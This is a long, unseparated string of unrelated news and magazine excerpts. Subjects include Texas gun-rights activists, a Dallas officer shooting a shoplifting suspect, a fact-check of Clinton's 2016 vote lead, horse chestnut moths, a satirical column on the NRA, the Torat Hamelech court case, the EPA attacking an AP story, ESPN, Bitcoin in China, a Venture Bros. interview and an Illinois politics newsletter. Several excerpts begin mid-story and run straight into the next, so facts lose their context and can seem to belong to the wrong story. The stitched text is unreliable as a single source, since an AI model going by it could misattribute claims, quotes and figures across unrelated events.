Terry Holcomb, Executive Director of Texas Carry, another Second Amendment group, refers to the women as the “Bloomberg cult.” He called the women who testified at the Texas Senate Committee “sock puppets.” Holcomb told Breitbart Texas, “It’s sad, really. They are conditioned not to think for themselves. They have become so irrelevant that they are given a script by the Bloomberg heads and told to just read it.” “They had a printed form with a fill-in-the-blank for their name,” he said. Richard Briscoe, Legislative Director for OCT, told Breitbart Texas, “I had to contain my laughter when I could see that they had actually handwritten-in their name.”
The Breitbart Texas article also includes a video by Lone Star Gun Rights. The group filmed Moms Demand Action leaders giving college students scripts and telling them to wear their college t-shirts when testifying against campus carry.
Grisham and his group, Open Carry Texas, have been very politically active in the state. Breitbart Texas has written about their work at the Texas Legislature to promote both open carry and campus carry bills. As reported by Breitbart Texas in May 2015, Texas Open Carry also denounced a controversial open carry advocate who was calling for the arrest and hanging of Texas state elected officials who voted against an open carry bill.
An off-duty Dallas police officer shot a suspected shoplifter overnight Tuesday after a struggle where the officer was stabbed in the hand.
The Dallas officer was in uniform working an off-duty security job at the Walmart on 6185 Retail Road when he was told by the store's loss prevention officer at about midnight that a man was shoplifting.
Officer Larry Moody spotted the man, later identified by police as 33-year-old Jonathan Puckett, near the parking area and asked him to come back inside the store.
As they made their way back into the store, Puckett tried to run away. Moody reached out and grabbed him and the two scuffled. As they struggled, the suspected shoplifter pulled out a knife and cut the officer on his hand, police said.
Though he was cut, Dallas police said Moody then ordered Puckett to drop the knife. When the man refused, the officer shot him in the leg.
Puckett, who was arrested and found to be carrying four knives, was transported to Presbyterian Hospital and is said to be in stable condition. He has been charged with aggravated assault on a public servant and has a parole violation out of Kentucky, police said.
Moody was transported to Baylor Medical Center in Dallas and is also in stable condition.
Deputy Chief Gil Garza with the Dallas Police Department said video from inside and outside of the store is being reviewed as the police investigate the shooting.
Washington state caucus-goers. (Ted S. Warren/AP)
Writer and activist Shaun King has a prolific presence on social media and an outspoken passion for Bernie Sanders. King appeared in Sanders's Spike Lee-directed promotional video that came out shortly before the New York primary, and he has consistently advocated for the senator from Vermont on Twitter for months.
On Thursday, he used Twitter to vent about something that frustrated him: Hillary Clinton's assertion that she leads the Democratic primary by 3 million votes, a figure that he says is inaccurate and overstated.
It isn't.
Here were King's tweets on the subject.
(Sound effects in frustrated anguish) Ahhhhh. Sigh.... I am about to break something down regarding Trump, the DNC, Clinton, & Bernie. — Shaun King (@ShaunKing) May 19, 2016
"First, I have to expose a HUGE lie that is being told by @HillaryClinton and her team. She DOES NOT have a 3 million vote lead," he tweeted. "Did you know that in Hillary's '3 million vote lead' that many states where @BernieSanders won BIG, like Washington state, aren't included? Washington State has 7.2 million people. @BernieSanders won 71% of the votes. NONE of those votes count in the 'popular vote totals'. In fact, 12 of the 21 contests won by @BernieSanders were caucuses and their actual vote totals are NOT included in 'popular vote' tallies. For instance, @BernieSanders won 81% in Alaska. Not a single of those votes are included in the popular vote tallies. Not only that, but in the 15 caucus states, they don't function by popular vote totals. So ANY statement on who won the popular vote is OFF."
The idea that the popular vote totals are flawed because caucuses aren't included has been floating around for a while. The point of questioning the sum is obvious: To question the extent to which Democratic voters (and independents voting in Democratic contests, who usually favor Sanders) have preferred Clinton as the party's nominee.
This has been floating around so long, in fact, The Post's fact-checkers looked at this issue at the beginning of April. Did Clinton at that point actually lead by 2.5 million votes, as she claimed? No, she didn't.
She led by 2.4 million votes.
The Post's Glenn Kessler arrived at that figure by taking estimates of how many people came out to vote in caucus contests and applying the final vote margin to that population. This is admittedly imprecise, as King notes, since in some caucuses (like Iowa's) voter preferences can and do change. Kessler's total included Washington, despite King's insistence — and in Washington, he figured that Sanders had the support of 167,201 voters to Clinton's 62,330. Despite that, still a 2.4 million advantage for Clinton.
It's worth noting that caucuses, for which it's harder to calculate vote totals, are usually in smaller states and/or have smaller turnout. King's concern about ensuring Alaska's huge Democratic voting base is included in the tally is answered by Kessler's math.
What's more, Kessler continued updating his tally as results came in. The most recent update was after the contests on April 27, at which point Clinton's wins in New York, Pennsylvania, Maryland and other Northeastern states had extended her lead to "just over 3 million votes" — including his estimates for the caucuses. (By my tabulation of Kessler's numbers, it's 3.03 million.)
Since then, there have been five contests.
Indiana . Sanders won with 32,152 more votes.
. Sanders won with 32,152 more votes. Guam . Clinton won with 249 more votes.
. Clinton won with 249 more votes. West Virginia . Sanders won with 30,509 more votes.
. Sanders won with 30,509 more votes. Kentucky . Clinton won with 1,924 more votes (per the latest AP count).
. Clinton won with 1,924 more votes (per the latest AP count). Oregon. Sanders won with 69,007 more votes (per AP).
In total, then, Clinton's lead over Sanders in the popular vote is 2.9 million. The difference isn't because the total excludes Washington. It's because it includes more recent contests from the past 14 days.
That number will continue to change. There are only two big states left — New Jersey and California — both of which vote June 7. Clinton leads by a wide margin in New Jersey, where more than a million people turned out in 2008. She has a smaller lead in California, where about 5 million voted in the Democratic primary eight years ago. For Sanders to pass Clinton in the popular vote, he would need turnout like 2008 in California — and to win by 57 points.
In front of a boisterous crowd in Carson, Calif., Democratic presidential candidate Bernie Sanders called on the Democratic party May 17 to "open the doors; let the people in." Sanders vowed to continue fighting rival Hillary Clinton for the party's presidential nomination. (Sarah Parnass/The Washington Post)
What's very much worth adding to this conversation is that in 2008, Clinton won the popular vote, too, if you include the weirdness in Michigan. That year, though, Barack Obama lead in pledged delegates, as Clinton does now, and managed to woo superdelegates as a result of leading in the pledged delegate count.
King goes on to address superdelegates in his tweets, too, arguing that Sanders's stronger performance against Donald Trump in polling should spur superdelegates to anoint Sanders at the convention.
In other words, will Super-Delegates knowingly & openly send a candidate out against Trump which every poll says will struggle against him? — Shaun King (@ShaunKing) May 19, 2016
What's wild, is that they act like polls aren't of real people. They aren't computer generated models. They are asking regular people. — Shaun King (@ShaunKing) May 19, 2016
Sure. But a better measure of who voters prefer to have as the nominee is letting them vote on it. And so far, 2.9 million more of them have picked Clinton.
Horse chestnut leaf miners were living on natural stands of trees in Greece a century before they were first described by science, a study shows.
The discovery was made by researchers who examined many of Europe's historic herbarium collections.
They say it offers an insight to the history and origins of the tiny moths, which are blighting many of the continent's horse chestnuts.
The findings will appear in Frontiers in Ecology and the Environment journal.
"It is a moth that has been the target of a lot of research recently because it has been expanding [its range] so fast - much faster than other kinds of leaf-mining moths," explained co-author David Lees from the French Institute for Agricultural Research (INRA).
The larval form of the Cameraria ohridella moth feed inside the leaves of the white flowering horse chestnut tree (Aesculus hippocastanum), producing characteristic "mines" between the leaves' veins.
The creatures do not kill the tree but infested trees may produce smaller conkers.
Dr Lees said C. ohridella was spreading its range by about 60km (40 miles) across Europe each year.
The small but highly invasive moth was first discovered in 1984, and first described by scientists as a genus new to Europe in just 1986. Since then, it has expanded its range across almost all of Europe.
"We recently marked the first quarter century of this blight on horse chestnuts and it is quite amazing that during this time its origin has remained a mystery," noted Dr Lees, a scientific associate with the Natural History Museum in London.
Unbelievable
"We decided to look at whether specimens of the moth appeared in herbarium collections, so I contacted (co-author) Walter Lack at Berlin Botanic Garden, who had been studying the history of this tree in Europe.
Image caption Horse chestnut leaf miners are spreading their range by 60km each year Horse chestnut leaf miners are spreading their range by 60km each year Conker trees threatened by moth
"I asked him whether he had come across any mines in his historic herbarium collection. He wrote straight back and said that he did have some, which had been collected in 1928 in Albania. He said that there were spots on the leaves but he had no idea what they were."
Dr Lees admitted he was very excited when he examined photos of the specimens and saw the outline of a caterpillar mine.
"That's when we started to look more widely," he went on. "I went to Kew Gardens (London) and as I was looking through the herbarium there I found a specimen from 1879 which had mines in it. We just could not believe it."
They also found examples of leaf miners on collections in Paris.
Dr Lees said some of samples of leaf mines had been hidden, as the result of proud botanists attempting to disguise blemishes on their prized leaves.
He also felt there was another reason why the discovery had not been made before: "Disciplines stick to what they know best so entomologists would not necessarily go to herbariums."
He explained that the tree has been transported from its native Balkan range and planted throughout Europe since the late 16th Century, so mystery had surrounded why the moth had not "caught up with its dinner sooner".
"We know that this moth has been distributing very fast since the last 1980s, ever since it somehow got to Austria," Dr Lees said.
The arrival of roads in areas within the moths' original range played a part, he suggested.
"The pupae hibernate in the mine (on a leaf), and they are able to be transported in trucks."
If the National Rifle Association (NRA) were not so dangerous to the physical health and general welfare of the people of the United States, they'd probably qualify as some of the most unintentionally hilarious people on the planet. Seriously, you can't make this stuff up.
Take executive vice-president of the NRA, (the suspiciously French sounding) Wayne LaPierre. If you started from scratch and constructed an (at least theoretical in his case) human being, you couldn't find a better movie villain. A man who foams at the mouth when fetishising about guns on national TV, attacks sitting Presidents in terms usually reserved for dictators and inaugural-lip syncers and has the look of a howling mad member of Alphonse "Big Boy" Caprice's gang from Dick Tracy - replete with the beady eyes, vestigial rage and bad posture.
That Lapierre's little gaggle of government-fearing, 1970s-Death-Wish-obsessing miscreants actually claim they're trying to increase people's safety can almost make your sides hurt from the hysterics, as it carries with it the legitimacy of Manti T'eo giving lectures on Nigerian bank swindles.
These are the guys who released an iPhone app for kids as young as four to shoot at coffin-shaped targets on the one-month anniversary of the Newtown Massacre. That little high-capacity-magazine of brilliance has probably jetted them right past Applebee's on the sliding scale of public-relations brilliance, up next to Alex Rodriguez.
While the loony-tunes Lapierre and self-appointed She-Ra, Gayle Trotter (we'll get to her in a bit) were busy testifying before Congress last week, NRA President David Keene was also in attendance. Keene, like LaPierre, doesn't believe in closing the gun show loophole, which makes total sense as Keene's son - who's had a history of mental illness - was so responsible with his trusty six-shooter, except for the whole pulling it out and shooting at another driver on the highway thing and for which he went to prison. But, you know, we should still trust David Keene's judgment on these matters.
Apparently, daddy still thinks his son should get to buy a .50 calibre rifle that can take down an airplane without the fuss and muss of a few-minute background check. Because.. freedom!
Mind you, after the 1999 massacre at Columbine High School, the LaPierre/NRA solution included - wait for it, wait for it - closing the private-sale loophole! And more gun-free school zones! Which in current NRA lore exist only to provide irresistible poison-ivy-like pheromones to lunatics with assault weapons.
Because the guy who's going to mow down a room full of toddlers uses regression analysis to decide where to start shooting. They may only come to this conclusion 33 percent of the time or less in mass shootings - if we use those crazy statistic things - but you know, it probably was due to some seriously screwed GPS the other 67 percent of the time. I know that happens to me all the time, when I attempt to drive to a (gun-free) movie theatre and the GPS in my car takes me to Ted Nugent's farm.
Luckily, it didn't accidentally take me to Gun Appreciation Day (yeah, that was actually a thing), when careful, NRA-adoring, firearms experts got together across the country to shoot themselves and their friends in a series of totally unpredictable accidents. If only there had been a "good guy with a gun" there to protect them! Am I right, Wayne?
Somewhere Darwin's ghost is clearing his schedule for such future endeavours.
Perhaps, the most hilarious of all these cartoon characters, firearms-expert-based-upon-her-feelings-and-made-up-stuff, is Gail Trotter. She testified in front of Congress about how without AR-15s, mothers across the country would be just helpless to stop a siege by The Baseball Furies, Dead Rabbits and those dancing Gangnam Style. Because even if crime rates are falling rapidly, your chances of being violently burgled are non-existent (.23 percent) and women are seven times more likely to be killed by an intimate partner with a gun in the home than prevent an attack, there are obviously many scenarios these numbers don't take into account.
For example, what if the snake from Anaconda, those nasty little guys from Mars Attacks! and Joe Pesci all break your door down and demand you feed them your babies for fuel in a machines-from-The-Matrix type move? Won't you feel stupid then when you don't have your 100-round-drum magazine?
Of course, what do I know? I'm a hater, just like the Methodists, Catholics, police officers, dead entertainers, shoe companies and baseball teams on the recently taken down (Oops!) NRA Enemies list.
This column first appeared at Al Jazeera English
Israeli newspaper The Jerusalem Post reported Thursday that the court ruled there was “no basis” for the charges, upholding a 2012 decision by Israel’s Attorney General to not pursue a criminal investigation.
The Torat Hamelech (The King’s Torah) was published in 2009 and sparked controversy and a debate on free speech by arguing that Jewish law allowed, in some cases, for Jewish people to kill non-Jews without being to court.
According to The Jerusalem Post, the book states that anyone who opposes “our kingdom” or encourages attacks against them can be killed, as can children “if there is a good chance they will grow up to be like their evil parents.”
The Attorney General’s 2012 decision argued that the book was a religious study and not aimed at encouraging individuals to violence, despite concern within Israeli society that it could lead to violence against Palestinians.
Several Jewish groups objected the groups, as did senior Rabbis, including the Israel Movement for Reform and Progressive Judaism, which petitioned the High Court to question why there have been no investigation for racial incitement.
Israeli blog Reform Judaism, which supported the petition, wrote in 2012 that the book was “a manual on how Jewish law can justify hate and violence.”
"Yesterday, the Associated Press' Michael Biesecker wrote an incredibly misleading story about toxic land sites that are under water," said the release written by Associate EPA Administrator Liz Bowman.
It went on to say that he "had the audacity to imply that agencies aren't being responsive to the devastating effects of Hurricane Harvey." Beyond stating that the report was inaccurate, the EPA accused Biesecker of creating "panic" and of politicizing the work of first responders "who are actually in the affected area," as opposed to Biesecker, who the EPA stated was "reporting from the comfort of Washington."
Biesecker had written a story, with AP's on-the-ground reporting about the effects of Harvey on people who live close to toxic waste sites -- known as Superfund sites -- and concerns about whether the flooding of those sites could spread waste to homes and other areas. An AP reporter visited several of the communities close to Superfund sites in the Houston area that had experienced flooding.
After the waters receded in Crosby, which is situated between two Superfund sites, "a sinkhole the size of a swimming pool had opened up and swallowed two cars," Biesecker wrote. "The acrid smell of creosote filled the air."
The EPA complained that an early version of the story omitted the fact that "EPA has already conducted initial assessments at 41 Superfund sites – 28 of those sites show no damage, and 13 have experienced flooding."
Potential health concerns from Harvey flood waters
However, Biesecker's report says that this information was not released by the EPA until "hours after the AP published its first report." Biesecker went on to point out that the EPA said it "had not yet been able to physically visit the Houston-area sites, saying the sites had 'not been accessible by response personnel,'" though it had checked on Superfund sites in Corpus Christi, which had "no significant damage."
The EPA also went on to criticize Biesecker about an error in a previous story that the AP acknowledged.
The AP is standing by its story and its reporters.
"We object to the EPA's attempts to discredit that reporting by suggesting it was completed solely 'from the comforts of Washington' and stand by the work of both journalists who jointly reported and wrote the story," according to a statement issued by AP executive editor Sally Buzbee.
Tuesday an online rating service spelled out exactly how disastrous that fallout is just in the last month. According to SportsTVRatings.com, the world’s premier global cable and satellite sports television channel, ESPN, lost a stunning 422,000 viewing homes between February and March 2017. Fox Sports 1 didn’t fare very well either losing 77,000 homes.
Overall, 390,000 homes canceled their cable TV subscriptions in that same period of time.
Breitbart also reported on Monday that, according to a Sports Illustrated report, ESPN management is cutting “tens of millions” of dollars of staff salaries and that “on-air personalities are on the chopping block.”
A 2016 Breitbart story on ESPN’s new public editor, Jim Brady, indicated dissension even within the ESPN boardroom, and that the sports cable network “has become far too liberal,” which could be having an effect on the downward spiral of sports viewing across the USA.
After watching an ESPN NFL game last season with more cameras focusing on Colin Kaepernick kneeling during the national anthem than on the American flag and those honoring it, they may be on to something.
In a Facebook video published in May that has since garnered 1.3 million views and been circulated through various media outlets, including the Australian news site news.com.au, the self-made millionaire doesn't offer sympathy for young people who haven't yet made it.
As he puts it, "You can live on six hours sleep, so you have 18 hours. You have 18 g------ hours. I want to know what you're doing with your 18 hours."
Even if you're working a 9-to-5 job, commuting for an hour and spending some time each day with your family, that still leaves you at least five hours to hustle, Vaynerchuk says.
Last week, we told you that China's central bank was rumored to be planning to force Chinese banks to close any accounts they have with Bitcoin exchanges by April 15.
That news pushed the CoinDesk Bitcoin Price Index from about $585 on Wednesday to as low as $477 on Thursday. Over the weekend the price of Bitcoin recovered somewhat to about the $500 level.
But fresh reports this week, including a Tuesday story in The Wall Street Journal, have essentially confirmed the rumors and have pushed Bitcoin prices down to about $450. That's the lowest Bitcoin prices have been since last November, during the dramatic run-up that took prices to more than $1,100.
While the PBOC doesn't appear ready to ban Bitcoin outright, they appear determined to drive it out of the Chinese banking system.
The Chinese government apparently was concerned over investor speculation in the digital currency, and in particular in the use of Bitcoin to move money outside the country. Once people started using Bitcoin to bypass China's strict capital controls, the government almost had no choice but to cut it off from the banking system.
Note: Certain high-growth areas of tech will deliver some monster profits over the next year or so. Here are the top two tech sectors for 2014…
For China's Bitcoin exchanges, which include BTC China and OKCoin, the news is bad but not necessarily fatal.
OKCoin Chief Executive Officer (CEO) Xu Mingxing told The Wall Street Journal that one option would be to move operations overseas. And BTC China CEO Bobby Lee suggested that the Chinese Bitcoin exchanges might be able to simply let customers deposit cash directly into their accounts.
To date, none of the Chinese Bitcoin exchanges have received any official word from the PBOC on the new policy. But that isn't unusual for the central bank, which sometimes enacts policies quietly to make it easier to change them later.
Bitcoin Prices Will Recover from the PBOC Crackdown
The impact of the PBOC crackdown on the rest of the Bitcoin community will be felt most directly in the short-term volatility of Bitcoin prices.
But longer term, this is just another pebble in the stream. As it has so many times before, the world of Bitcoin will adapt, and eventually Bitcoin prices will again start to climb.
For example, the Bulgaria-based Bitcoin exchange BTC-e announced Sunday that it would start trading in offshore Chinese yuan.
And in the bigger picture, the promise of Bitcoin will be realized regardless of what the PBOC does, or what other central banks might do.
Bitcoin matters not so much as a currency, or even as an investment (though it is both of those things, no matter what governments say), but for how its technology will be used to transform the world of payments.
People have only just started to realize that Bitcoin is in fact the Internet of money, and it holds as much potential to change the world as did the Internet itself back in the early 1990s.
How do you think China's Bitcoin exchanges will react when the PBOC forces the banks to cut off their accounts? Tell us on Twitter @moneymorning or Facebook using #bitcoinnews.
The IRS finally released its guidance on how Bitcoin should be treated for tax purposes, and not everyone is going to be happy. What's good news for some folks will be a record-keeping nightmare for others…
The guys were doing press for From The Ladle To The Grave: The Story of the Shallow Gravy — a 15-minute documentary-style special about Hank and Dermott's band that will air at the end of August — when I confronted them with this pressing hypothetical. I posed the question to Doc first.
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Would you rather be locked in a room full of wasps or cobras?
Wow. I'm not sure the operating procedure of a wasp. They're like bees, but worse?
They're like less pleasant bees, and I'm not talking about friendly wasps that build houses.
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But you can't leave them alone?
They're minding their own business.
Is there anything in this room?
There is a single stool in this room.
Cobras. What do the cobras want with me? I'd stand on the stool and I'd be able to see the cobras coming. I'd be alert, and I don't think cobras want anything to do with me, unless I'm running, screaming, and stepping on cobra. I'd sit on the stool until someone rescued me. How long am I in this room?
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Two or three hours.
Then cobras.
If you had to have a celebrity in the room, including a clone of yourself, who would you choose?
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On the single stool?
Yes, on the single stool.
I would have somebody that I would like to know because I'm on the single stool. I'm not afraid of the cobras. They're not going to be bugging me, they'll do that "get in the corner where it's slightly warmer" kind of weirdness. Maybe a Kat Dennings, and then we'd be able to get to know each other on the stool.
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That's a deft handling of this herpetological deathtrap.
Unless the cobras despised me, but I'd still say cobras. Insects could crawl into my clothing, and I think I would be fine and I'd sit back in my stool and [slaps hands together]. The sting at the base of my spine would be really uncomfortable and I'd be worried about the celebrity or the historical personage.
[About 10 minutes later, Jackson Publick comes on over and I pose him the same pressing question.]
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Geez.
They're mean cobras. The wasps are mean too.
Well, I hate wasps, but I can't really be killed by them. I'm not allergic to them. We just had a giant wasp on the corner of my block. If you cut the corner sharply, it would fly into you. It was like three inches. I thought it might be a hummingbird. You'd watch other people, like a woman with a baby carriage come and you'd scream, "DON'T TURN THE CORNER!" Wasps are horrible and they fly. The stool is of no use to you in the wasp scenario. I'd like to think that I could grab a cobra by the neck and squeeze out some venom and build up a tolerance and in two to three weeks I could walk out of there.
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[NOTE: I failed to tell Jackson about the impending rescue party.]
I'd swing one of the cobras willy-nilly and brush the other ones away. Then I'd eat said cobra.
True, I'm not sure these wasps are edible.
You can't live off of wasps.
If you had to have a celebrity in the room, who would it be? Clone of yourself included.
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I'm not really a celebrity.
Well, there's only one Venture Bros, and you happen to make it.
Norman Mailer. He could fight them.
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SOME OTHER STUFF IO9 LEARNED AT COMIC-CON THAT HAS NOTHING TO DO WITH COBRAS OR WASPS
- Doc Hammer described The Venture Bros. as...
A tree fort operation, it's people making something they really, really love and everybody that watches it thinks, 'I'm the only person that likes this.' But there are millions of people who watch this, and it's the coolest thing in the world. We've done something honest.
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- I asked Doc whether we'd see an entire Shallow Gravy album:
We're releasing an EP with multiple versions of their song [...] I like versions more than remixes, an acoustic version or orchestral version, instead of doing a song and putting more snare on it.
- I then asked him if "Jacket" (the Shallow Gravy song) would get a shitty Ibiza-style dance remix à la the Bryan Adams back catalogue:
We might do one kind of dance remix. Personally, it's not really like them [...] I understand the joke of that, but I'd be pouring my heart into something I don't really love.
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- Doc explained his sartorial (and by extension, life) credo:
It's getting as far away as you can from fashion and getting entirely into style. You become somebody who augments a classic instead of somebody who jumps on bandwagon, grows a beard, puts a bra strap around his head, and wears a scarf around his neck. Style is the thing I champion, to understand how a man should dress and tweak that. Inside the constraints you give yourself is the abundance of freedom.
- Jackson on the extremely tentative plans for Season 5:
What piqued my inspiration was writing the finale. We were pretty burnt out, but when we wrote the finale, we accidentally came up three really awesome episode ideas. One of them is full-form and ready to be written, but we're not writing that one because it would be too easy. We're idiots, but I can't wait to write that one. It's a great idea, we were ticking on one word and kept saying it in Dr. Venture's voice until it made a story.
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- Jackson's quit smoking and is quite smitten with living in Park Slope, Brooklyn. He does not get recognized by the populace, but Doc Hammer will on occasion as he is (in Jackson's words) "a unicorn."
- Jackson admitted that "Guess Who's Coming to State Dinner?" and "Careers in Science" are the episodes of the show he considers the worst, but he doesn't think they've ever made an outright bad episode. He also noted that the finale was initially a half-hour, but they were able to rewrite it "because it felt icky."
- Venture is a 24-hour gig, but Jackson's been freelancing on a gig he "really can't talk about."
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- In a separate, non-exclusive roundtable interview, James Urbaniak admitted that he has used his Rusty Venture voice for telephonic shenanigans:
I was doing an episode of The Office and John Krasinski came up to me. He said he was a huge fan of the show and came up to me very sheepishly and said, "I'm so embarrassed to ask you to do this, but would you leave a voicemail for one of my friends as Dr. Venture?"
- Also, James couldn't perform his Doc Venture voice the day he learned his wife was giving birth to twins. An unwitting Jackson asked him to "up the negativity that day."
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The lawsuit against Jim Beam was filed as a potential class action in U.S. District Court in California, reports the Lexington Herald-Leader. The plaintiff is represented by the same law firm that’s suing Maker’s Mark, also owned by the company that owns Jim Beam, Beam Suntory Ltd.
The suit alleges that when it comes to Jim Beam White Label, the bourbon is not handmade by a skilled craftsman, despite the company’s claim that it is.
“Such conduct by defendants is ‘unfair’ because it offends established public policy and/or is immoral, unethical, oppressive, unscrupulous and/or substantially injurious to consumers in that consumers are led to believe that Jim Beam bourbon is of superior quality and workmanship by virtue of it being ‘handcrafted,’ when in fact it is not,” the suit says.
Beam Suntory called the claim “frivolous” in a statement, adding, “We will defend our case vigorously and we are confident that we will prevail. Beyond that, as a matter of company policy, we don’t comment on the details of matters in litigation.”
Gervais will write, direct, and star in the movie, which will follow a documentary crew as they catch up with Brent years after his tenure as the world’s worst boss at Wernham Hogg Paper. (Hint: working as a traveling salesman, and chasing his dreams of being a rock star by self-financing a tour with his band, “Foregone Conclusion.”)
“I’m so excited that the world will see what David Brent is up to now and where his future lies,” Gervais said in a press release. “This film delves much more into his private life than The Office ever did and we really get to peel back the layers of this extraordinary, ordinary man.”
During its April 1st Nintendo Direct presentation, the company did announce that it would start releasing N64 games on Virtual Console, but that didn't necessarily mean it would stop releasing SNES or NES games. It never shied away from releasing Virtual Console games for multiple old devices simultaneously on Wii. Nintendo may be more interested in committing its internal resources to new projects, though. Natsume said that even though most of the games on Virtual Console come from outside publishers, it's Nintendo that does most of the work preparing them for sale.
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TENNIS ace Andy Murray has made a different kind of racket by singing in a Christmas video.
The Scot performed lines from Jingle Bells along with other tennis stars in a clip released by the ATP tour to wish people a happy festive season.
Sitting next to his year end world number one trophy wearing a Christmas jumper, Santa hat and wacky sunglasses, Murray shows his skills on the tennis court do not extend to singing.
In his distinctive monotone voice, he sings the lines: "Dashing through the snow, in a one horse open sleigh," before confessing his singing is "awful".
Posting the video on his Facebook page, Murray apologised to his fans for his efforts.
He said: "Before you click play.. I'd just like to take this opportunity to apologise on behalf of everyone involved in the video #23merrychristmas #23songbirds."
Murray's brother Jamie also features in the video along with fellow players Milos Raonic, John Isner, Marin Cilic, Steve Johnson and Dominic Thiem.
Fans of Murray, 29, were quick to remind him to stick to tennis after viewing the footage while others offered to help him improve his performance.
Morag Campbell, chief executive of the National Youth Choir of Scotland, said: "Andy Murray and Jamie next time you're in Scotland call the National Youth Choir of Scotland and we'll try to sort you out for next year's video."
Norman John Davidson said: "Don't give up the day job Andy."
Hilary Reed added: "Oh dear. Apology accepted. Merry Christmas and many aces next year."
The Dunblane star failed in a previous foray into the world of pop, when a single he sang on sold only 200 copies.
In 2009, he recorded a rapping section on the song Autograph with American Grand Slam-winning doubles partners Bob and Mike Bryan.
The record, which also features a segment by Novak Djokovic failed to make the charts because it did not register the requisite 1,000 sales.
Ronnie Gurr, the Edinburgh-based music industry manager, said Murray had failed to grasp the concept of rapping, adding: "Never has the maxim 'don't give up the day job' been more apt."
By Natasha Korecki (nkorecki@politico.com; @natashakorecki) with Manuela Tobias (mtobias@politico.com)
Good Tuesday morning, Illinois. Today marks one year since Gov. Bruce Rauner took office, and on Monday he sat for a series of interviews in the statehouse. In them, he vowed that his big changes were still coming, but the bigger they are, the more time they will take.
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He insisted Democrats are secretly rooting for him and declared he had a plan to end costly court-ordered spending.
NON-COMPLIANCE -- Rauner made those remarks days after a court-appointed monitor told a federal judge the state failed to comply with a decree aimed to protect adults who suffer from developmental disabilities. In fact, the monitor, Ronnie Cohn, said the state’s system serving those adults reached a “crisis,” point, adding that without a state budget, those in the system face “unprecedented difficulties” including safety concerns. “Until such time as concrete steps are taken to enact a State budget and address the staffing crisis and resulting decrease in service quality as well as lack of development in the community, the Monitor finds noncompliance with this compliance standard.”
Read the report: http://bit.ly/1SfhapV
Last year, advocacy groups sought relief from a federal judge, saying the state -- faced with billions of dollars in unpaid bills and no spending plan -- stopped paying agencies that provided services to those with disabilities, putting providers at risk of closure. The judge ordered the state to pay for those covered under the Ligas consent decree.
‘Significantly worsened’ -- “The current Monitor’s experience in Fiscal Year 2016 thus far is that the status of such resources has significantly worsened. In the current report, there is a finding of noncompliance in this area,” Cohn said in court papers.
Testimonials from Cohn’s report flag a severe staffing crisis due to low wages.
-- “In my 40+years working in the disabilities field in Illinois, I have never encountered such a staff recruitment problem. I would characterize (it) as a desperate situation.”
-- “The most obvious risk is when you truly need two people present and on duty, but you may have only one staff member.”
-- “Providers are reporting double-digit vacancy and turnover rates; staffing programs at bare-minimum levels and focusing staff resources solely on the safety of individuals.”
-- “The agency has a 20% vacancy rate in direct support positions and is taking steps to
move people into larger residential settings due to the inability to staff smaller settings. The agency has closed residential intake despite a long waiting list.”
GROUPS POINT AT LAWMAKERS AND GOV OFFICE -- “It’s shameful that the state expects that our most vulnerable can be cared for by our lowest paid workers. But for over a decade lawmakers and administrations have ignored the pleas of the community that they provide the resources necessary to recruit and retain a high quality workforce.” -- statement from a coalition of disability organizations
Welcome to the POLITICO Illinois Playbook. Tips? Events? Announcements? Contact nkorecki@politico.com or @natashakorecki
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On Monday, the U.S. Supreme Court hinted it supported a bid to end so-called “fair share” fees that unions require of non-members, a move that could financially cripple public sector unions. http://politi.co/1PTEk1Z
It’s one of the first issues Rauner targeted when the Republican first took office last year, through executive order and separately by filing a federal lawsuit. http://bit.ly/1W2kbJq
SOTU -- Tonight, President Obama is to deliver his final State of the Union address at 8 p.m. (CT) Find out who our Illinois delegation invited as guests further down.
STARTLING CRIME SPIKE -- “10 days into new year, more than 100 people shot in Chicago,” by Chicago Tribune's Deanese Williams-Harris, Gregory Pratt, Megan Crepeau and Peter Nickeas: "Seven people were shot to death and 30 more were wounded across Chicago over the weekend, raising the number of shootings in the city to more than 100 in just over a week into the new year, according to police. The fatal shootings included two teens killed by a store clerk during a robbery in the Gresham neighborhood on the South Side, and one of three people shot at a party four blocks from Mayor Rahm Emanuel's home. As of Monday morning, at least 19 people have been killed in gun violence in Chicago this year and at least 101 more have been wounded. This time last year, nine people had been killed and another 31 wounded, according to statistics kept by the Chicago Tribune." http://trib.in/1IZx1Gz
GE RELOCATES TO CHICAGO -- “Chicago snares another corporate HQ,” by Crain’s Greg Hinz: “Officials are announcing today that GE Healthcare, a division of the Fairfield, Conn.-based multinational that is in the process of reorganizing itself, will be moving here from Amersham, near London … about 200 jobs are involved with the move of the $18 billion-a-year company, which is the only major GE subsidiary whose headquarters is located overseas. The company, however says the figure won't be 200 but something smaller than that, at least initially, but it will comprise the ‘executive leadership team,’ including the CEO and CFO, and may grow over time. GE Healthcare has deep roots in Chicago and significant operations here and in the Milwaukee area.” http://bit.ly/1mRuqDY
RAUNER REVIEWS
Here’s how Rauner’s series of sit-downs with reporters played out.
AP -- “Rauner says he has plan to stop court-ordered spending,” by Ivan Moreno and Ashley Lisenby,” Gov. Bruce Rauner said Monday he will outline a plan to get out from under court-ordered spending that's plunging Illinois further into debt during a seven-month budget stalemate ... the state has been required to continue spending on things such as Medicaid and services for people with disabilities because of federal consent decrees and court orders. Rauner said … getting out from under those will 'be a big part of our plan going forward,' but he declined to offer specifics on his idea, which one analyst said would require court approval ... Rauner would have to show that the state is complying with spending for services the federal government has deemed essential, like caring for people with developmental and physical disabilities.” http://apne.ws/1OMwXu9
SUN-TIMES -- “Rauner says ‘many’ (unnamed) Democrats tell him ‘Don’t back down’,” by Chris Fusco: “Rauner says the ideas in his controversial — and, to date, politically paralyzing — “turnaround agenda” are resonating not only with his Republican counterparts, but also with Chicago Democrats, including Mayor Rahm Emanuel. “Many members of the General Assembly, in private, along with the mayor of Chicago, in private, agree that much of our agenda makes sense,” Rauner told the Chicago Sun-Times Monday, the day before the first anniversary of his taking his oath of office.” http://bit.ly/1W1YFED
TRIBUNE -- “In year one, Rauner learned difference between statehouse and boardroom,” by Monique Garcia and Celeste Bott: “'The big difference is, to make a significant change in business requires the buying in of some people, but there’s more ability to drive change,” Rauner told the Chicago Tribune in an interview Monday … ‘Big change does not happen quickly and you need a buy-in, and a convincing, a selling, an arm-twisting to get big change. And that takes time.”
